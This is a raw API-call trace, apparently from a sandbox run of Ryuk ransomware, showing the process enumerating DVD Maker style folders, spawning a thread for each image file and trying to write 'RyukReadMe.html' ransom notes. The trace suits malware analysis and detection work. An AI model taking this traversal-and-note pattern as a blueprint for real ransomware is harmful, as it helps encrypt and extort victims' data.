	[0230.571] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0230.571] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0230.571] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde4
	[0230.573] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.573] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x76, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1
	[0230.573] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde8
	[0230.575] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.576] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.576] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdec
	[0230.577] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.578] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.578] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf0
	[0230.580] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.581] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.581] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf4
	[0230.583] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.584] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.584] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf8
	[0230.586] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.586] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.586] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdfc
	[0230.589] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.589] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.589] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe00
	[0230.707] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.707] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x76, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1
	[0230.707] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe04
	[0230.710] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.710] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x76, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1
	[0230.710] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe08
	[0230.712] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.712] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.712] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe0c
	[0230.714] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.715] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.715] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe10
	[0230.717] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.718] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.718] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe14
	[0230.720] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.720] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe18
	[0230.722] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.722] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.723] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe1c
	[0230.725] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.725] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.725] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe20
	[0230.727] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.728] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x76, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1
	[0230.728] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe24
	[0230.730] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.730] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x76, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1
	[0230.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe28
	[0230.733] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.733] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x76, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1
	[0230.733] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe2c
	[0230.736] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.737] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x76, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0
	[0230.737] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0230.737] SetLastError (dwErrCode=0x0) 
	[0230.737] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.737] GetLastError () returned 0x5
	[0230.738] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0230.738] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.738] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1
	[0230.738] SetLastError (dwErrCode=0x0) 
	[0230.738] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.738] GetLastError () returned 0x5
	[0230.738] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0230.738] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0230.980] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0230.980] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x76, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1
	[0230.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe30
	[0230.982] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.982] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x76, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1
	[0230.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe34
	[0230.984] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.985] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x76, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1
	[0230.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe38
	[0230.987] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
